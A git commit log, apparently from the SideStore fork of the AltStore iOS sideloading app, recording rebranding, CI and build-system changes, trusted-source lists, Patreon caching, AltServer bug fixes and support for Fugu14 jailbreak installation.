* Adds a Custom default source and allows Updating app via ota.

Co-authored-by: Spidy123222
2022-10-18 01:10:18 -07:00
Spidy123222
e70c712020 README: Make app names in compile use Side names (#89)
Make app names in compile steps use Side names
2022-09-27 11:48:13 -07:00
jawshoeadan
1b34aeaec4 Get anisette from HTTP GET request instead of AltServer (#87) 2022-09-16 11:52:53 -06:00
Spidy123222
2566bfa2ed Make Sidestore use its own trustedapps json (#58)
* Add trusted apps list json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Force to use apps.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Rename apps.json to trustedapps.json

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Redo trustedlink

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Update FetchTrustedSourcesOperation.swift

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Add provenance-emu source

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-09-14 13:24:04 -07:00
Spidy123222
ba06f2bbc6 Revert "Revert "Change settings altstore names to SideStore"" (#82) 2022-09-14 04:45:33 -07:00
Spidy123222
1e4fe1680f Merge pull request #81 from SideStore/revert-61-Change-settings-AltStore-names-to-side
Revert "Change settings altstore names to SideStore"
2022-09-14 04:39:01 -07:00
Spidy123222
2effb199a1 Revert "Change settings altstore names to SideStore" 2022-09-14 04:38:34 -07:00
Spidy123222
23c139320a Merge pull request #61 from Spidy123222/Change-settings-AltStore-names-to-side 2022-09-14 04:37:07 -07:00
Spidy123222
f65eba606e Revert Patreon Description to avoid conflict.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-09-14 04:27:26 -07:00
Spidy123222
7a2825da9a Remove patreon footer description
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-09-14 04:19:56 -07:00
Spidy123222
2975eddfe9 Merge branch 'develop' into Change-settings-AltStore-names-to-side 2022-09-13 22:58:07 -07:00
Spidy123222
7f28eae954 Change Xcode version to 14.0.0 (#79)
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-09-13 21:23:46 -06:00
JJTech
789be5e942 Merge branch 'develop' into Change-settings-AltStore-names-to-side 2022-09-01 19:15:31 -04:00
JJTech
85b114cdfd Bump minimum Xcode version to Xcode 14 (#64)
* Remove Xcode 13 from the build matrix
* Bump minimum Xcode version to Xcode 14
Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-09-01 17:59:50 -04:00
Spidy123222
53d063e994 Merge branch 'SideStore:develop' into Change-settings-AltStore-names-to-side 2022-08-31 13:24:57 -07:00
Spidy123222
0ab081ccbc Merge pull request #52 from jawshoeadan/develop
Adds fakesign and sets default team id to be com.SideStore to fix AltServer sideloading
2022-08-31 13:14:36 -07:00
Spidy123222
00ce9d64dc Merge branch 'develop' into develop
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-08-31 11:25:28 -07:00
Spidy123222
be20c024aa Change wording of accessing local traffic
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-08-31 11:15:52 -07:00
Spidy123222
992fb9839a Update SettingsViewController.swift
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-08-31 05:11:15 -07:00
JJTech
96ae2ee7ac Convert to build matrix (#56)
* Convert to build matrix
* turn off fail-fast strategy
we don't want all the jobs cancelled just because it didn't build in an old version of Xcode
* only trigger push build when pushing to master or develop

Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-08-23 18:13:20 -04:00
JJTech
379cecb08f Use Xcode 14 (#55)
New iOS 16 features require Xcode 14
Xcode 14 is only available on macOS 12 runners

Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-08-19 11:35:31 -04:00
Nythepegasus
9089b271b3 Merge remote-tracking branch 'refs/remotes/upstream/develop'
Conflicts:
	AltStore.xcodeproj/project.pbxproj
	AltStore/AppDelegate.swift
2022-08-19 01:14:16 -04:00
Riley Testut
c9d522fad5 Adds iOS 16 Lock Screen widget 2022-08-17 15:33:13 -05:00
Riley Testut
be80aa1512 [Apps] Updates Delta beta to 1.4b2 2022-08-17 15:27:19 -05:00
Riley Testut
c1d64a8027 Fixes “stored properties cannot be marked @available” compiler error
Xcode 13 and earlier allowed us to mark lazy stored properties with @available, but it turns out this was never actually supported. Xcode 14 now throws a compiler error, so we work around it by converting lazy @available properties into computed properties, backed by typed-erased lazy ivars.
2022-08-17 15:23:17 -05:00
Riley Testut
1bc2aa9d38 [Apps] Adds “New to AltStore?” news to highlight revamped FAQ
Also removes old “Welcome to AltStore” news
2022-07-28 11:41:52 -05:00
Riley Testut
e167ee104b [Apps] Updates AltStore to 1.5.1 2022-07-28 11:22:55 -05:00
Riley Testut
43b85da314 [AltPlugin] Fixes crash when device’s serial number is nil
For unknown reasons, AKDevice.serialNumber can sometimes return nil. As a workaround, we just fall back to a hardcoded valid serial number if AKDevice.serialNumber is nil.
2022-07-26 13:38:05 -05:00
Riley Testut
b6c21c9766 Updates app version to 1.5.1 2022-07-13 11:43:08 -05:00
Josh-WikiRealty
874da8c8d6 Generalized everything to match SideStore branding for workflow
Sideloading now works with AltServer
2022-07-04 17:30:50 -07:00
Josh-WikiRealty
989580d196 Fakesign app in workflow 2022-07-03 01:03:48 -07:00
Josh-WikiRealty
03ef54c37b Add entitlements file and update gitignore 2022-07-03 00:53:02 -07:00
jawshoeadan
ab56dda275 Merge branch 'SideStore:develop' into develop 2022-07-02 13:38:30 -07:00
JJTech
3a91f958e3 Add build badge, fix PR badge style (#50)
* Add build badge, fix PR badge style

Signed-off-by: JJTech <jjtech@jjtech.dev>

* Badge links HTTPS

Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-06-23 11:47:17 -04:00
JJTech
79913a0c9c Put back Package.resolved, have CI remove it (#49)
* Remove swift resolved packages from git ignore

* Add Package.resolved to

* Have CI remove Package.resolved
2022-06-23 11:47:01 -04:00
JJTech
d0fe64ecfa Fix CI (#47)
* Try downgrading to macOS 11

Signed-off-by: JJTech <jjtech@jjtech.dev>

* Delete Package.resolved

Signed-off-by: JJTech <jjtech@jjtech.dev>

* Add Packagage.resolved to .gitignore

Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-06-22 10:29:05 -04:00
JJTech
4da69685a1 Add InteliJ to git ignore (#44)
Ignore AppCode/InteliJ .idea folder
2022-06-21 13:39:46 -06:00
jawshoeadan
bf560dd10d Merge branch 'SideStore:develop' into develop 2022-06-20 18:18:05 -07:00
jawshoeadan
7ce76ee28d Add CI/CD workflow (#43) 2022-06-20 15:23:05 -06:00
jawshoeadan
540e9bad29 Merge branch 'SideStore:develop' into develop 2022-06-20 14:21:33 -07:00
Josh-WikiRealty
22c2e2c4e5 Add CI/CD workflow 2022-06-20 14:18:34 -07:00
JJTech
f67d9dcdfa Convert AltSign and OpenSSL into proper Swift packages (#42)
Convert AltSign and OpenSSL to Swift packages
2022-06-20 14:27:28 -06:00
JJTech
edfcadcbdc Merge pull request #26 from JJTech0130/patch-4
Make it more consistent
2022-06-20 16:15:53 -04:00
Joe Mattiello
156bcc7d54 Rename AltStore with variables (#17)
* iOS 14 for xcode 14 errors

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* add group.APP_GROUP to more plists

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* reorder altid groups

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* update to newer sparkle api

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

* fix warnings in altsign and libmobdevice

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

Co-authored-by: JJTech <jjtech@jjtech.dev>
2022-06-20 13:13:15 -06:00
Nythepegasus
63ff912d76 Merge pull request #27 from rileytestut/develop
Pull from Upstream
2022-06-13 18:47:32 -04:00
JJTech
6cbfaac4f4 Make it more consistent
Signed-off-by: JJTech <jjtech@jjtech.dev>
2022-06-13 18:39:34 -04:00
Riley Testut
6ad6e0d8c0 [AltPlugin] Updates version to 1.10 2022-06-09 17:44:36 -07:00
Riley Testut
7c38bb03b9 [AltPlugin] Supports macOS 13 Ventura beta 1 2022-06-09 17:44:06 -07:00
JJTech
5574172d99 Replace xcodeworkspace with xcodeproj (#20) 2022-06-08 17:38:36 -06:00
JJTech
bc8081ebae Update build instructions (#19)
* Replace redundant step with recursive clone

See https://stackoverflow.com/a/4438292

* Fix code signing instructions, formatting

* Clarify step 3 (embedding the UDID)
2022-06-08 17:32:02 -06:00
JJTech
6ed6132c54 Replace redundant text with link (#18) 2022-06-08 17:13:25 -06:00
Joe Mattiello
76c02c98d8 Merge pull request #16 from SideStore/feature/XCConfig2
XCConfig for bundle/sign ids
2022-06-07 08:14:48 -04:00
Joseph Mattello
012a7885ff xcode touching packages
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:10:23 -04:00
Joseph Mattello
2b3d41d982 refactor sparkle URLs to info.plist
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:10:13 -04:00
Joseph Mattello
a56a48145b spm touches
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:01:27 -04:00
Joseph Mattello
8dc097e23c AltSign remove warning
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:01:27 -04:00
Joseph Mattello
0323520389 Remove workspace requirement for xcodeproj
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:01:27 -04:00
Joseph Mattello
e1e395023d AltStore & AltServer builds with XCConfig
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:01:27 -04:00
Joseph Mattello
850214b103 Use XCConfig files for codesign and bundle ids
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 06:01:26 -04:00
Joe Mattiello
02e9805482 Merge pull request #15 from SideStore/feature/carthage2
Remove Cocoapods for Swift Packages
2022-06-07 06:00:07 -04:00
Joseph Mattello
0feae8402e delete unused podfiles
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 05:22:17 -04:00
Joseph Mattello
042da53b54 temp comment out Sparkle.app codesign
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 04:02:22 -04:00
Joseph Mattello
aa1b2bace7 oops
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 04:02:22 -04:00
Joseph Mattello
6b1b4d6015 altserver depends to swiftpm
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 04:02:22 -04:00
Joseph Mattello
ebeac417e5 AltStore.app works with SwiftPM
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 03:31:33 -04:00
Joseph Mattello
be005616ea altstore app target ios only
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 03:15:54 -04:00
Joseph Mattello
ec3a9b0615 altstorecore builds using forked altsign
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 03:14:54 -04:00
Joseph Mattello
0b3e651c4b keychain access as swift module
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 03:14:34 -04:00
Joseph Mattello
426bdd3aa1 remove superfluous code signing on framework
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 02:36:43 -04:00
Joseph Mattello
75e29d61f8 altsorecore macOS only
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 02:33:52 -04:00
Joseph Mattello
dfab283154 libimobiledevice submodule fork change
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 02:30:03 -04:00
Joseph Mattello
986c0d7edc de-intergrate cocoapods
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 02:11:28 -04:00
Joseph Mattello
918c44bc89 altserver target macos only
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-07 02:11:28 -04:00
Joe Mattiello
b8f680d74a Merge pull request #14 from SideStore/feature/MailRelaunch
Check if mail is open b4 launch
2022-06-07 02:02:19 -04:00
Joseph Mattello
76fcf6d545 mail.app only launch if not open
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-06 23:41:58 -04:00
Joe Mattiello
c51d25c58b Merge pull request #4 from SideStore/feature/multiPlatform
Multi-platform app target support (tvOS, watchOS etc)
2022-06-03 23:36:34 -04:00
Joseph Mattello
1efdba096c AltStoreCore multi-platform URLs
Signed-off-by: Joseph Mattello <mail@joemattiello.com>

apps.json add platform url support

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-03 23:36:13 -04:00
Joe Mattiello
c4505b7c42 Merge pull request #13 from SideStore/pullrequests/jawshoeadan/master
Automatically open mail when fetching Anisette data and update error …
2022-06-03 23:35:40 -04:00
Jackson Coxson
d5235bd40b Merge branch 'rileytestut:develop' into develop 2022-06-03 17:21:51 -06:00
Riley Testut
cc3feb4843 [Apps] Updates Delta beta to 1.4b1 2022-06-02 14:01:04 -07:00
Josh-WikiRealty
353d105c04 Automatically open mail when fetching Anisette data and update error message to accomodate 2022-06-02 02:03:11 -04:00
Joe Mattiello
070cb6c873 Merge pull request #12 from jkcoxson/develop
Add multi team view
2022-06-02 02:00:35 -04:00
Joseph Mattello
a066dda0f9 update gitignore
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-06-02 00:29:21 -04:00
Jackson Coxson
ac929c2603 Add team view controller to Xcode's list of files 2022-05-31 00:02:57 -06:00
Jackson Coxson
9102402a18 Prefer local servers over VPN 2022-05-30 23:53:22 -06:00
Jackson Coxson
54a0fc21d8 Merge branch 'SideStore:develop' into develop 2022-05-30 23:44:26 -06:00
Jackson Coxson
e2b8b7369e Add view for multiple teams from Megarush 2022-05-30 23:43:47 -06:00
Spidy123222
bcfbe515a4 Change Readme (#11)
* Update README.md

* change casing of SideStore

* Add roxas and replace git

* Additional detail for Netmuxd

* fix wording

this fixes the wording of Licensing and building instructions to be simplified.

* Correct spelling AltStore

* Forgotten S
2022-05-30 23:14:00 -06:00
Jackson Coxson
46834ab5ce Revert "Change AltStore naming to SideStore"
This reverts commit 646000920f.
2022-05-30 22:54:21 -06:00
Jackson Coxson
646000920f Change AltStore naming to SideStore 2022-05-30 22:46:21 -06:00
Jackson Coxson
5ea83ccea1 Change icon and colors 2022-05-30 22:05:26 -06:00
Jackson Coxson
03c6473685 Merge branch 'rileytestut:develop' into develop 2022-05-30 11:26:13 -06:00
Jackson Coxson
d37890fac4 Add manual connection (#10)
* Add manual connection

* Send request to netmuxd for a manual connection
2022-05-30 11:25:54 -06:00
Joe Mattiello
d5057ea8ea AltStore add iPad to device family (#5)
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-05-30 10:51:10 -06:00
Joe Mattiello
2cbebbe9b7 WiFi to Wi-Fi spelling (#6)
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-05-30 10:50:03 -06:00
Riley Testut
71b1885f74 [Apps] Updates AltStore beta to 1.5.1b 2022-05-27 12:36:43 -07:00
Riley Testut
2a8e3887ad Updates app version to 1.5.1b 2022-05-26 18:27:14 -07:00
Riley Testut
2f92ce6bda Updates ALTServerID to Purple M1 iMac 2022-05-26 18:26:35 -07:00
Riley Testut
9c58755317 [AltServer] Updates app version to 1.5.1b 2022-05-26 18:11:57 -07:00
Riley Testut
9c1fe4d63b Fixes authenticating with old email address after changing Apple ID’s primary email 2022-05-25 16:45:27 -07:00
Riley Testut
994d3c74fd Fixes “Application is missing the application-identifier entitlement” error 2022-05-25 16:23:45 -07:00
Riley Testut
a413c24b45 [AltServer] Fixes incorrect “Developer Disk incompatible with [OS version]” error
Previously we assumed that if there was an error installing the developer disk, it was incompatible with the device’s iOS version. Howevever, sometimes an iOS device needs to be rebooted before it can successfully mount a developer disk.

We now explicitly check for the latter scenario, and present a different error message asking the user to reboot their device if that’s the case.
2022-05-25 15:57:17 -07:00
Riley Testut
dc276a6393 Fixes crash when presenting unrecognized ALTServerError’s 2022-05-25 15:31:04 -07:00
Riley Testut
cf6448845f [AltServer] Fixes installing AltPlugin after uninstalling it
Bundle(url:) is cached, so even if AltPlugin is deleted Bundle(url:) will still return a non-nil value. Instead, we now directly check whether a directory exists at pluginURL to determine if AltPlugin is installed.
2022-05-25 15:17:58 -07:00
Riley Testut
b45c859861 [AltServer] Fixes disconnecting ALTWiredConnection’s
ALTWiredConnection.disconnect() doesn’t do anything if ALTWiredConnection.isConnected == NO. The problem is, we never set .isConnected to YES in the first place…which means disconnect() never actually did anything. Whoops.
2022-05-25 15:08:03 -07:00
Riley Testut
fd81092392 [AltServer] Fixes NetworkConnection strong reference cycle
WirelessConnection.nwConnection.stateUpdateHandler maintains strong reference to WirelessConnection, resulting in strong reference cycle. To break it, we now explicitly set stateUpdateHandler to nil when disconnecting.
2022-05-25 14:59:12 -07:00
Riley Testut
26ef3073ae Supports 2FA Apple IDs with no trusted devices
Falls back to sending 2FA code via SMS if there are no registered trusted devices.
2022-05-16 16:12:52 -07:00
Riley Testut
72a684a22f Fixes authenticating Apple IDs with capital letters
Also fixes repeatedly asking some users to sign in with Apple ID.
2022-05-12 15:53:05 -07:00
Riley Testut
14529030be [Apps] Updates AltStore to 1.5 2022-05-10 15:05:34 -07:00
Riley Testut
9570b797fd [AltServer] Fixes indefinitely caching STAGING Sparkle URL 2022-05-10 15:02:58 -07:00
Riley Testut
cdb5fb34dd [Apps] Adds AltServer 1.5 news item 2022-05-05 14:03:34 -07:00
Riley Testut
ddff6a24f3 Updates app version to 1.5 2022-05-04 12:47:53 -07:00
Riley Testut
ae3c0acfc0 Enables AltJIT for public versions 2022-05-04 12:46:14 -07:00
Riley Testut
eef23ae49d [AltServer] Updates NSMultipleUnderlyingErrorsKey #available check to include macOS 2022-04-20 15:19:29 -07:00
Riley Testut
2262f04fb3 [AltServer] Updates app version to 1.5 2022-04-20 15:14:21 -07:00
Riley Testut
b7a99ed508 [Apps] Updates AltStore beta to 1.5rc 2022-04-19 13:20:40 -07:00
Riley Testut
38f68de3ea Updates app version to 1.5rc 2022-04-18 16:35:14 -07:00
Riley Testut
6b6f016189 Migrates Core Data model from v9 to v10 2022-04-18 16:01:48 -07:00
Riley Testut
82faa89912 Updates Keychain.patreonAccountID in PatreonAPI.fetchAccount()
PatreonAPI.fetchAccount() is called by both PatreonAPI.authenticate() and PatreonAPI.refreshPatreonAccount(), so this ensures the keychain is updated via both ways.
2022-04-18 15:46:57 -07:00
Riley Testut
dfd49de8d1 Replaces PatreonAccount.isFriendZone with ManagedPatron
Rather than store both the current user’s Patreon account and all cached Friend Zone patrons in the same table, we now store Friend Zone patrons in the new ManagedPatron table. This avoids the need to distinguish between the two at runtime.
2022-04-18 15:46:35 -07:00
Riley Testut
aa8dd80e54 Adds (Managed)Patron Core Data entity
Will be used to cache Friend Zone patrons separately than the existing PatreonAccount entity.
2022-04-18 15:25:27 -07:00
Riley Testut
751d9419ff Throws URLError.fileDoesNotExist for 404 responses 2022-04-14 18:29:34 -07:00
Riley Testut
643d7bf6fa Updates ALTDeviceID to iPhone 13 Pro 2022-04-14 18:15:23 -07:00
Riley Testut
afb20f79a9 Unhides Sources button for public builds 2022-04-14 18:01:20 -07:00
Riley Testut
6c2a83964b Updates Keychain.patreonCreatorAccessToken via UpdatePatronsOperation 2022-04-14 17:58:06 -07:00
Riley Testut
07daff261a Caches Friend Zone patrons to offset slow loading time
The Patreon API doesn’t have a way to fetch just the patrons belonging to our Friend Zone tier. Instead, we need to fetch ALL patrons (including inactive ones) and filter out those not in the tier. This is very inefficient, and takes over a minute to complete as of April 14, 2022, due to the number of patrons we have.

We can’t do much to change this, but AltStore will now at least cache the fetched patrons with Core Data. Additionally, AltStore will only perform this long fetch whenever the Friend Zone list actually changes, rather than every time the Patreon screen appears.
2022-04-14 17:56:36 -07:00
Riley Testut
8ddeb7f9fb Uses Keychain.patreonAccountID to fetch current user’s PatreonAccount
Allows us to distinguish between the current user and other cached patrons in the future.
2022-04-14 16:37:29 -07:00
Riley Testut
1f7c089c70 Supports adding trusted sources from SourcesViewController
Previously, only the beta version of AltStore could add sources. Now, the public version supports adding explicitly “trusted” sources, while the beta version can continue to add any source.
2022-04-14 16:33:49 -07:00
Riley Testut
f1f6852ab4 Adds FetchTrustedSourcesOperation 2022-04-14 15:27:57 -07:00
Riley Testut
e5d66defbc #ifdef’s out libfragmentzip and AppleArchive usage for simulator builds
Neither are supported by the iOS simulator.
2022-04-13 20:41:38 -07:00
Riley Testut
29913c5b09 Adds Shane Gill to Settings credits 2022-04-13 20:06:57 -07:00
Riley Testut
21d807d0c3 Adds Shane to Patreon screen 2022-04-13 20:06:35 -07:00
Riley Testut
a6e5c32166 Fixes Core Data error when not connected to internet
NSError.sanitizedForCoreData() now sanitizes _all_ user info values (including for underlying errors) to ensure they all conform to NSSecureCoding, rather than just removing “NSCodingPath” value (if it exists).
2022-04-11 13:42:31 -07:00
Riley Testut
0b3e94b974 Hides permission section if app doesn’t list any permissions
Eventually, listing permissions will be mandatory so AltStore can verify that apps only require the permissions they declare. Until then, we’ll allow apps to not list their permissions.
2022-04-11 12:31:02 -07:00
Riley Testut
6db5aec672 Supports landscape app screenshots
Rotates landscape screenshots before displaying them. For now, we still assume screenshots have 16:9 aspect ratio.
2022-04-11 11:59:56 -07:00
Riley Testut
73ff5fe9dc Fixes News tab crash after adding/removing sources with NewsItems 2022-04-07 14:43:03 -07:00
Riley Testut
77694aac8e [AltServer] Updates app version to 1.5rc 2022-03-31 12:50:52 -07:00
Riley Testut
a04a27c1e3 Disables app group feature if app has no app groups
We can’t remove all app groups from an App ID once one has been assigned, but we _can_ disable app groups completely for effectively the same result.

This fixes some apps having permanant access to AltStore’s own app group after being (de-)activated.
2022-03-31 12:50:50 -07:00
Riley Testut
7a547c70e3 [AltServer] Fixes “App Group does not exist” error 2022-03-29 19:51:54 -07:00
Riley Testut
b0abf0e7a5 [AltServer] Replaces lock with semaphore when updating app groups
Locks can’t be unlocked from a separate thread than they were locked on…whoops.
2022-03-29 19:51:17 -07:00
Riley Testut
48c49c6ec7 [AltServer] Embeds ALTServerID in Info.plist if app uses AltKit 2022-03-29 19:34:47 -07:00
Riley Testut
16564500e2 [AltServer] Adds ellipsis to menu items that require additional input
As specified by the macOS HIG.
2022-03-29 16:14:00 -07:00
Riley Testut
6f6b17b211 Fixes crashing due to uncaught codesigning exceptions 2022-03-29 16:09:43 -07:00
Riley Testut
f1618ad9df [AltServer] Fixes sideloading apps to devices running iOS 9.3 or later 2022-03-29 16:07:38 -07:00
Riley Testut
947a14d6a2 [Apps] Updates AltStore 1.4.9 release notes 2022-03-07 10:52:48 -08:00
shanegillio
f030ecd66f [Apps] Updates AltStore to 1.4.9 (#960)
* [Apps] Updates AltStore beta to 1.5b4
* [Apps] Updates AltStore to 1.4.9
* Apply suggestions from code review
2022-03-04 12:54:02 -08:00
Riley Testut
ec86fb77b0 [AltServer] Fixes prematurely fetching installed apps 2022-03-02 16:22:04 -08:00
shanegillio
cfa246adc5 [Apps] Updates AltStore beta to 1.5b4 (#957) 2022-03-02 11:34:27 -08:00
Riley Testut
ebb236e47c [AltServer] Improves ALTServerErrorIncompatibleDeveloperDisk error message
Uses NSError’s debug description, if available, to populate error alerts.
2022-03-01 16:07:20 -08:00
Riley Testut
37b00d670b [AltServer] Ignores incompatible cached developer disks
Fixes issue where AltServer would always use cached developer disk, even if it isn’t compatible with the device’s operating system version.
2022-03-01 16:03:03 -08:00
Riley Testut
23516d0466 [Apps] Adds #StandWithUkraine news update 2022-03-01 12:04:57 -08:00
Riley Testut
2b4f1ce1c2 Replaces direct Patreon URL with forwarding URL
Allows us to change the Patreon URL without also updating the app.
2022-02-25 15:43:25 -08:00
Riley Testut
c786858f17 Updates app version to 1.5b4 2022-02-23 13:42:40 -08:00
Riley Testut
a149cb231b Fixes crashing on launch on iOS 13 or earlier
We now weak link libAppleArchive, which doesn’t exist prior to iOS 14.
2022-02-22 16:07:03 -08:00
Riley Testut
3c9ef728e1 [AltServer] Fixes staging AltPlugin update URL 2022-02-22 12:35:24 -08:00
Riley Testut
4257f58f96 [AltServer] Updates AltPlugin separately from AltServer
Code written and committed with Lil’ Dude “Weedles” by my side <3
2022-02-15 14:44:11 -06:00
Riley Testut
ddfab31781 [AltServer] Uses ephemeral URLSession when fetching developer disks
Fixes AltServer using outdated cached response after updating developer disks for a new OS version.
2022-02-09 13:52:11 -08:00
Riley Testut
5e3e8f2809 [AltServer] Uses Sparkle staging URL for STAGING builds 2022-02-09 13:46:03 -08:00
Shane Gill
fefa8b174d [AltServer] Updates app version to 1.5b10 2022-02-09 08:59:33 -08:00
Shane Gill
fb3d732a62 [AltServer] Updates AltPlugin to 1.9 2022-02-08 18:59:35 -08:00
Shane Gill
0658e323ae [AltPlugin] Updates version to 1.9 2022-02-08 18:26:01 -08:00
Shane Gill
35046b33ff [AltPlugin] Supports macOS Monterey 12.3 2022-02-08 18:24:10 -08:00
Riley Testut
8f4c70c9cc [AltServer] Updates app version to 1.5b9 2021-12-15 12:49:05 -08:00
Riley Testut
c9bc14ab7f [AltServer] Updates AltPlugin to 1.8 2021-12-15 12:48:11 -08:00
Riley Testut
0f023905c8 [AltPlugin] Updates version to 1.8 2021-12-15 12:47:53 -08:00
Riley Testut
61dc02514a [AltPlugin] Supports macOS Monterey 12.1 2021-12-15 12:47:11 -08:00
Riley Testut
590998fbaa [Apps] Updates Delta to 1.3.1 2021-12-15 12:05:00 -08:00
Riley Testut
7a1f631113 [Apps] Updates Delta beta to 1.3.1b 2021-11-17 17:10:13 -08:00
Riley Testut
706229640f [AltServer] Fixes "Sideload .ipa" file picker not appearing in foreground 2021-11-10 11:44:08 -08:00
Riley Testut
0397db51f7 [AltServer] Hides "Sideload .ipa" menu item by default
Manual sideloading is intended to be a fallback for situations where AltStore cannot be used. To emphasize this, we hide the option by default unless the user holds the Option key.
2021-11-10 11:42:32 -08:00
Riley Testut
e53928cf1e [Apps] Updates AltStore + beta to 1.4.8 and 1.5b3 2021-11-10 11:36:14 -08:00
Riley Testut
17b8fd6e6f Supports installing Fugu14-based jailbreaks on iOS 14.3 2021-10-26 11:21:44 -07:00
Riley Testut
03338b589c Fixes incorrectly signing Fugu14 app 2021-10-26 11:17:36 -07:00
Riley Testut
ac8560afd3 Adds basic error handling when downloading OTA firmware 2021-10-25 23:13:25 -07:00
Riley Testut
ef0cae6953 Updates app version to 1.4.7 2021-10-25 22:36:09 -07:00
Riley Testut
ed396b400d Supports installing Fugu14-based jailbreaks
If a jailbreak app contains the relevant Fugu14 entries in its Info.plist, AltStore will automatically guide the user through the Fugu14 untether process before installing the jailbreak.
2021-10-25 22:27:30 -07:00
Riley Testut
e6ef288a69 [AltServer] Fixes incorrect OpenSSL header paths 2021-10-25 21:48:14 -07:00
Riley Testut
619d16ddd3 Fixes not removing manually sideloaded .ipa's 2021-10-25 21:46:19 -07:00
Riley Testut
943fe79d3c Limits “Enable JIT” context menu action to BETA builds 2021-10-25 21:43:50 -07:00
Riley Testut
310d4619b4 [AltServer] Caches iOS and tvOS DeveloperDiskImages to separate locations
Previously, DeveloperDiskImages were only differentied by OS version, which meant (for example) iOS 15.0 and tvOS 15.0 disk images were cached to the same location. Now iOS and tvOS disk images are stored separately, so AltServer will no longer try to use a cached disk image for the wrong OS.
2021-10-13 12:55:07 -07:00
Riley Testut
35e9d8752b [Apps] Updates AltStore beta to 1.5b2 2021-10-12 13:30:40 -07:00
Riley Testut
aa057918ee [AltServer] Updates AltPlugin to 1.7 2021-10-12 12:32:43 -07:00
Riley Testut
5428ebf129 [AltPlugin] Updates version to 1.7 2021-10-12 12:15:42 -07:00
Riley Testut
1384037430 [AltPlugin] Supports macOS 12.0 Monterey beta 9 2021-10-12 12:14:05 -07:00
Riley Testut
c2bda2241c [AltWidget] Fixes not updating when app is near/past expiration 2021-10-12 12:10:45 -07:00
Riley Testut
337d432fdd [AltWidget] Improves layout on smaller devices
Shrinking app icon to 40% width allows whitespace between the app name and the "Expires in" text on smaller devices, such as the iPhone 12/13 mini.
2021-10-12 11:37:36 -07:00
Riley Testut
45d104fd2c Fixes incorrect Settings tab bar badge color 2021-10-11 13:49:11 -07:00
Riley Testut
00b2e25b01 Revert "[AltWidget] Waits until the following day to reload timeline if an error occurs"
iOS automatically determines how often to refresh widgets based on user's behavior, so we should rely on that instead of artificially delaying timeline reloads until the next day if an error occurs.

This reverts commit 5997ac5424.
2021-10-06 12:21:01 -07:00
Riley Testut
1b16193e21 Fixes Settings tab bar appearance on iOS 15 2021-10-06 12:16:47 -07:00
Riley Testut
203aec2854 Supports iOS Simulator on Apple Silicon Macs 2021-10-05 14:46:55 -07:00
Riley Testut
5997ac5424 [AltWidget] Waits until the following day to reload timeline if an error occurs 2021-10-04 18:41:50 -07:00
Riley Testut
b4f97aadf1 [AltWidget] Fixes app name appearing very small on iOS 15
Also improves layout on smaller devices, such as the iPhone 12/13 mini.
2021-10-04 17:59:41 -07:00
Riley Testut
b7caaeb788 [AltWidget] Fixes incorrect days until expiration
Previously, we used Date() to calculate the number of days until apps expired. This meant all calculations were based on when the widget extension was run — not when it was actually displayed. As a result, this made it seem like the widget never updated since all timeline entries were calculated from the same date.

Now, we instead calculate remaining days from AppEntry.date. This means the widget’s remaining days are relative to the current timeline entry’s date, matching what is displayed in AltStore.
2021-10-04 17:51:14 -07:00
Riley Testut
c3ca4fa8f3 Correctly handles RefreshAllIntent exceeding time limit
• Responds with “inProgress” status if exceeding time limit
• Displays native AltStore notification only if time limit is exceeded
